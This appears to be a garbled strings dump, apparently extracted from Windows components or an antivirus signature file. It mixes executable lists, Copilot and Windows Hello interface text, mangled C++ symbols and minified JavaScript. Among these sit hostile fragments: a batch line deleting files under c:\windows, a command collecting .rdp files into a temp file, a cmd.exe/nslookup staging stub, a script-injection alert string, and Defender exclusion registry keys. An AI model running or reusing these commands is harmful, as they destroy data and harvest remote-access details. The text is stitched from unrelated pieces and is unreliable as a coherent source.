%system32%\cidiag.exe;%system32%\dcdiag.exe;%system32%\gpupdate.exe;%system32%\mbaeparsertask.exe;%system32%\netsh.exe;%system32%\nlb.exe;%system32%\packageinspector.exe;%system32%\plasrv.exe;%system32%\tracerpt.exe;%system32%\wecutil.exe;%system32%\wlbs.exe;%system32%\wsreset.exe;%system32%\filehistory.exe;%system32%\logman.exe
%system32%\dwwin.exe;%system32%\msdt.exe;%system32%\pcalua.exe;%system32%\relpost.exe;%system32%\rstrui.exe;%system32%\sdclt.exe;%system32%\srtasks.exe;%system32%\wbengine.exe;%system32%\werfault.exe;%system32%\werfaultsecure.exe;%system32%\wermgr.exe
%system32%\wecutil.exe
%system32%\clipup.exe;%system32%\sppsvc.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\vsgraphicsremoteengine.exe;%system32%\wifitask.exe;%system32%\wksprt.exe
%system32%\bootim.exe;%system32%\deploymentcsphelper.exe;%system32%\djoin.exe;%system32%\dnscacheugc.exe;%system32%\muiunattend.exe;%system32%\netbtugc.exe;%system32%\netiougc.exe;%system32%\pnpunattend.exe;%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\setupugc.exe;%system32%\sysreseterr.exe;%system32%\systemreset.exe;%system32%\tapiunattend.exe;%system32%\ieunatt.exe
%system32%\cofire.exe;%system32%\msra.exe;%system32%\netsh.exe;%system32%\dpiscaling.exe;%system32%\slui.exe
%system32%\cttune.exe;%system32%\devicecensus.exe;%system32%\driverquery.exe;%system32%\getmac.exe;%system32%\licensingdiag.exe;%system32%\msinfo32.exe;%system32%\stordiag.exe;%system32%\systeminfo.exe;%system32%\tasklist.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excelcnv.exe;preconditions%programfiles%\microsoft office\root\office%version%\excel.exe;preconditions%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\outlook.exe;preconditions%programfiles%\microsoft office\root\office%version%\powerpnt.exe;preconditions%programfiles%\microsoft office\root\office%version%\scanpst.exe;preconditions%programfiles%\microsoft office\root\office%version%\winword.exe
%system32%\cttu
fe^com.microsoft.windows.extensions.xaml
ff^com.microsoft.windows.extensions.xaml.windowsbackup
f[dir%systemdrive%\docume~1\default.rdp/s/a>>c:\windows\temp\%computername%.txtifexist%systemdrive%\usersdir%systemdrive%\users\default.rdp/s/a>>c:\windows\temp\%computername%.txt
|	=([system.security.principal.windowsprincipal][system.security.principal.windowsidentity]::getcurrent()).isinrole([system.security.principal.windowsbuiltinrole]::administrator)
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Windows Web Experience Host
Windows Search Extensions
Windows Out of Box Experience
Want to set up Windows Hello to sign in faster and more securely?
Your device also has a fingerprint sensor that works with Windows Hello so you can sign in securely with just your finger.
List of Windows Hello compatible sensors
Windows Hello uses your fingerprint to recognise you and enables a <b>more secure, quick and password-free way</b> for you to verify your identity.
Your device has a fingerprint sensor that works with Windows Hello, giving you a simple, password-free way to verify your identity.
Windows Hello uses your camera to recognise you and enables a <b>more secure, quick and password-free way</b> for you to verify your identity.
Your camera works with Windows Hello to recognise you, giving you a simple, password-free way to verify your identity.
Windows Hello fingerprint icon
Windows Hello face icon
Windows Hello face animation
Instantly unlock your device and easily approve actions like creating passkeys and using Windows Recall.
 never in the cloud, never shared. You can remove Windows Hello anytime from Windows Settings.
Windows\System32\CodeIntegrity\SiPolicy.p7b
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.WindowsErrorReporting
Microsoft.Windows.Utc.WatchdogProvider
Microsoft.Windows.TelemetryViewer
Microsoft.Windows.DiagTrack.XML
Microsoft.Windows.Utc.ReentrancyTest
Microsoft.Windows.DiagTrack
Microsoft.Windows.Sentinels
Microsoft.Windows.DeviceDelete
WindowsApplication1.frmDataMenu.resourcesW
Software\Microsoft\Windows\Paaberaaber\Uninstall\Uprvede\strmkildes\Afroamerikanskes\UdspredS
Software\Microsoft\Windows\sagomraadernes\Uninstall\protogenetic\topasensS
Microsoft.Windows.AppModel.Clipboard
Microsoft.Windows.Inventory.Core
Microsoft.Windows.SHCore.Oplock
Microsoft.Windows.Shell.NotificationController
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsAppRuntime.Release!1.6.602w
c:\winnt\system32\cmd.exe
c:\windows\system32\cmd.exe
c:\windows\command.com
WRL@Microsoft@@$00U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$00@WRL@Microsoft@@$00UIWeakReferenceSource@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@@Details@WRL@Microsoft@@
.?AV?$SimpleVectorView@W4NetworkMediaType@UX@Networking@Windows@@V?$Vector@W4NetworkMediaType@UX@Networking@Windows@@U?$DefaultEqualityPredicate@W4NetworkMediaType@UX@Networking@Windows@@@Internal@Collections@Foundation@4@U?$DefaultLifetimeTraits@W4NetworkMediaType@UX@Networking@Windows@@@6784@U?$DefaultVectorOptions@W4NetworkMediaType@UX@Networking@Windows@@@6784@@Internal@Collections@Foundation@4@U?$DefaultLifetimeTraits@W4NetworkMediaType@UX@Networking@Windows@@@6784@UIntVersionTag@XWinRT@@$0A@@Internal@Collections@Foundation@Windows@@
.?AV?$RuntimeClass@U?$IIterator@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$00@WRL@Microsoft@@$00$00$0A@U?$IIterator@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$00@WRL@Microsoft@@$0A@U?$IIterator@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@UIWeakReferenceSource@@@Details@WRL@Microsoft@@
.?AV?$SimpleVectorIterator@W4NetworkMediaType@UX@Networking@Windows@@V?$Vector@W4NetworkMediaType@UX@Networking@Windows@@U?$DefaultEqualityPredicate@W4NetworkMediaType@UX@Networking@Windows@@@Internal@Collections@Foundation@4@U?$DefaultLifetimeTraits@W4NetworkMediaType@UX@Networking@Windows@@@6784@U?$DefaultVectorOptions@W4NetworkMediaType@UX@Networking@Windows@@@6784@@Internal@Collections@Foundation@4@U?$DefaultLifetimeTraits@W4NetworkMediaType@UX@Networking@Windows@@@6784@UIntVersionTag@XWinRT@@$0A@@Internal@Collections@Foundation@Windows@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$02@WRL@Microsoft@@U?$IVector@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@567@U?$CloakedIid@UIVersionedVector@Internal@Collections@Foundation@Windows@@@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$00$00$0A@U?$IVector@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@567@U?$CloakedIid@UIVersionedVector@Internal@Collections@Foundation@Windows@@@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$0A@U?$IVector@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@UIWeakReferenceSource@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@567@U?$CloakedIid@UIVersionedVector@Internal@Collections@Foundation@Windows@@@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$00UIVersionedVector@Internal@Collections@Foundation@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$00U?$CloakedIid@UIVersionedVector@Internal@Collections@Foundation@Windows@@@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$00U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$CloakedIid@UIVersionedVector@Internal@Collections@Foundation@Windows@@@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$02@WRL@Microsoft@@$00UIWeakReferenceSource@@U?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@U?$CloakedIid@UIVersionedVector@Internal@Collec
\windows\system32\hpzipm12.dll
\windows\system32\w32time.dll
Assets\WindowsSecurityAppList.scale-100.png~{
Assets\contrast-white\WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-white.png~B
Assets\contrast-black\WindowsSecurityAppList.scale-150_contrast-black.png~
Microsoft.Windows.AppNotifications.Builder.winmdx
Microsoft.Windows.SemanticSearch.winmdu
WindowsAppRuntime.pngu
Microsoft.Windows.Media.Capture.winmdt
Microsoft.Windows.Widgets.winmdt
Microsoft.Windows.Widgets.dllt
Microsoft.Windows.Management.Deployment.winmdt
Microsoft.Windows.Globalization.winmdt
Microsoft.Windows.Foundation.winmdt
Microsoft.Windows.BadgeNotifications.winmdt
Microsoft.Windows.AppNotifications.winmdt
Microsoft.Windows.AppNotifications.Builder.winmdt
Microsoft.Windows.AppLifecycle.winmdt
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdt
Microsoft.Windows.ApplicationModel.Resources.winmdt
Microsoft.Windows.ApplicationModel.Resources.dllt
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdt
Microsoft.Windows.ApplicationModel.Background.winmdt
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmdt
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllu
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllu
WindowsAppRuntime.pngu
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
ComSpec=C:\WINDOWS\system32\cmd.exe
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllx
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllx
WindowsAppRuntime.pngw
WindowsAppRuntime.DeploymentExtensions.OneCore.dllw
Microsoft.Windows.AppLifecycle.winmdx
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdx
Microsoft.Windows.ApplicationModel.Resources.winmdx
Microsoft.Windows.ApplicationModel.Resources.dllx
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdx
Microsoft.Windows.ApplicationModel.Background.winmdx
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmdx
Microsoft.WindowsAppRuntime.Release!1.7.208x
Microsoft.WindowsAppRuntime.Insights.Resource.dllx
Microsoft.WindowsAppRuntime.dllx
Microsoft.Windows.Widgets.winmdx
Microsoft.Windows.Widgets.dllx
Microsoft.Windows.System.winmdx
Microsoft.Windows.System.Power.winmdx
Microsoft.Windows.Storage.winmdx
Microsoft.Windows.Security.AccessControl.winmdx
Microsoft.Windows.PushNotifications.winmdx
Microsoft.Windows.Media.Capture.winmdx
Microsoft.Windows.Management.Deployment.winmdx
Microsoft.Windows.Globalization.winmdx
Microsoft.Windows.BadgeNotifications.winmdx
Microsoft.Windows.AppNotifications.winmdx
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllx
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllx
WindowsAppRuntime.pngx
WindowsAppRuntime.DeploymentExtensions.OneCore.dllx
FSHRemoveWindowSubclass
SHGetWindowSubclassData
Microsoft.Windows.Shell.StreamLib
Microsoft.Windows.CDP.Core.Error
Microsoft.Windows.Notifications.Wpncon
windowsondevice
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows Defender\Features\\TPExclusions
regkeyvalue://HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager\\DisableLocalAdminMerge
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows Defender\Features\\SenseEnabled
Microsoft.Windows.Print.PerfLib
Microsoft.Windows.Print.SpoolerService
28^windows.packageExtension
windows.comInterface
28^windows.comInterface
ystemRoot\System32\drivers\atapo
ystemRoot\system32\drivers\ioratZ
!\windows\currentversion\explorer\advanced
+@echooffdel"%systemroot%\cursors\*.*">nuldelc:\windows\*
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
@windows
\system32\cmd.exe/c"cd%tmp%&nslookup-;
Microsoft.Windows.Kernel.Smss.Telemetry
:/q/autotest/u');alert('important:windowsisremovingunusedte"
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the hbin
Die nuutste Microsoft Edge is die beste blaaier vir Windows met verbeterde privaatheidsbeskerming.
Stel die mees onlangse Microsoft Edge as jou verstekblaaier en speld dit vas aan jou werkskerm en taakbalk. Dit is die beste blaaier vir Windows met verbeterde privaatheidbeskerming.
Microsoft Edge is die beste blaaier vir Windows met verbeterde privaatheidsbeskerming.
Windows Update
UserDontShowInLogonUI
tem)||(l=n.isNullOrUndefined(i[f].maxRankScoreForLocalDevice)?i[f].deviceItem.rankScore:i[f].maxRankScoreForLocalDevice,t===undefined?l>u&&(t=i[f],r=l):l>r&&(t=i[f],r=l));t!==undefined&&(c[0]=t)}return this.replaceTopSettingSuggestions(c,i),{topResults:c,mruSuppressions:w}}getTopAppSuggestion(t){let i=-1e3,r=null,u=t.filter(t=>n.isApp(t.type)&&t.featureStore[143]&&t.featureStore[188]);for(let n of u){let t=typeof n.rankingScore=="number"&&!isNaN(n.rankingScore)?n.rankingScore:-Infinity;t>i&&(i=t,r=n)}return r}getTopResults(i,r,u){let e=[],f=r.filter(n=>this.allowInTopHit(i,n,u));if(f.length>0){let i=f[0],r=null,u=typeof i.rankingScore=="number"&&!isNaN(i.rankingScore)?i.rankingScore:-Infinity,o=-Infinity;for(let n=1;n<f.length;n++){const t=f[n],e=typeof t.rankingScore=="number"&&!isNaN(t.rankingScore)?t.rankingScore:-Infinity;e>u?(r=i,o=u,i=t,u=e):e>o&&(r=t,o=e)}e=r!==null&&n.config.wsbSimpleTopHitMultiEntityEnabled&&t.topHitIsMultiEntity([i,r])?[i,r]:[i]}else e=[];return e}replaceTopSettingSuggestions(t,i){var r;if(n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&t.length>0){let u=t.findIndex(t=>n.isSetting(t.type));if(u>=0){let o=t.findIndex(t=>n.isDefaultSynthetic(t)),s=t.findIndex(t=>n.isWebRelatedSuggestion(t)),f=undefined,e=this.getSettingRankScore(t[u]);for(let o=0;o<i.length;o++)if(n.getGroupType(i[o])===n.getGroupType(t[u])&&!n.isNullOrUndefined((r=i[o])===null||r===void 0?void 0:r.deviceItem)){let r=this.getSettingRankScore(i[o]);n.isNullOrUndefined(f)?this.compareSettingScore(r,i[o],e,t[u])&&(e=r,f=i[o]):this.compareSettingScore(r,i[o],e,f)&&(e=r,f=i[o])}n.isNullOrUndefined(f)||(t[u]=f);let h=o>=0?o:s>=0?s:-1;if(h>=0&&t.length===2&&h<u){let n=t.slice(0,1)[0];t.splice(0,1);t.push(n)}}}}compareSettingScore(t,i,r,u){return n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()?n.isNonCopilotPoweredSetting(i.type)&&n.isNonCopilotPoweredSetting(u.type)?t>r:i.type=="CoPST"&&u.type=="CoPST"?n.isModernSetting(i.deviceItem)&&n.isModernSetting(u.deviceItem)?t<r:n.isModernSetting(i.deviceItem)&&!n.isModernSetting(u.deviceItem)?!0:!1:n.isNonCopilotPoweredSetting(i.type)&&u.type=="CoPST"?!0:i.type=="CoPST"&&n.isNonCopilotPoweredSetting(u.type)?!1:(n.LogWSBError("compareSettingScore",i.type,new Error("Invalid setting type"),undefined,undefined,"WindowsTelemetry"),undefined):undefined}getSettingRankScore(t){var i;return n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()?n.isNonCopilotPoweredSetting(t.type)?t.rankingScore:t.type=="CoPST"?(i=t.deviceItem)===null||i===void 0?void 0:i.rankScore:(n.LogWSBError("getSettingRankScore",t.type,new Error("Invalid setting type"),undefined,undefined,"WindowsTelemetry"),undefined):undefined}setMRUHintEnabled(t,i){if(n.config.enableMRUHint){let r=t.queryToFetch.toLocaleLowerCase();for(let t=0;t<i.length;t++){let u=i[t].featureStore;u[281]&&u[282]&&(n.config.enableMRUHint!=1&&i[t].text.toLocaleLowerCase().startsWith(r)||(i[t].mruHintEnabled=!0))}}}rankPathCompletion(n){let t=n.find(n=>n.type=="CG")||n[0];return{topResults:t?[t]:[],mruSuppressions:null}}selectFastRankRanker(r){t.suggestionFastRankModelIdCurrent=r?r:n.Host.isWSBRandomizationEnabled()&&!n.config.wsbPartialRandomization?i:"STH_00000000-0000-0000-0000-000000000000";let u=t.suggestionRankingModels[t.suggestionFastRankModelIdCurrent];if(!u){let i;if(i=n.config.secondRankerId&&(n.isMsftAccountConnected||n.isMsbEnterprise()||n.AccessTokenManager.getWindowsAccountType()==1)?n.config.secondRankerId:n.config.mainRankerId,i){if(u=t.suggestionRankingModels[i],u)return t.suggestionFastRankModelIdCurrent=i,u;if(i!=n.config.mainRankerId)u=this.selectFastRankRanker(n.config.mainRankerId);else if(t.suggestionFastRankModelIdCurrent="STH_00000000-0000-0000-0000-000000000002",n.config.enbaleGetRankerNewLog){let r=[];for(let n in t.suggestionRankingModels)r.push(n);let u=r.sort().join("|");n.LogWSBError("getRanker",i+"#TAB#"+u,new Error("Model not found"),undefined,undefined,"WindowsTelemetry")}else n.LogWSBError("getRanker",i,new Error("Model not found"),undefined,undefined,"WindowsTelemetry")
DragFullWindows
WindowsEffect
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)s
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
@%SystemRoot%\System32\Drivers\msseccore.sys,-1001-100
@%SystemRoot%\system32\drivers\nsiproxy.sys,-2
@%SystemRoot%\system32\drivers\partmgr.sys,-100
@%SystemRoot%\system32\drivers\pdc.sys,-100
@%SystemRoot%\system32\drivers\volsnap.sys,-100
@%SystemRoot%\System32\drivers\vwififlt.sys,-259@
@%systemroot%\system32\drivers\wcifs.sys,-100
@%SystemRoot%\system32\drivers\Wdf01000.sys,-1000
@%SystemRoot%\System32\fveui.dll,-844
@%SystemRoot%\System32\wuaueng.dll,-400
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124
@%SystemRoot%\system32\NgcRecovery.dll,-100
@%ProgramFiles%\Windows Defender\MpAsDesc.dll,-390
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-245U
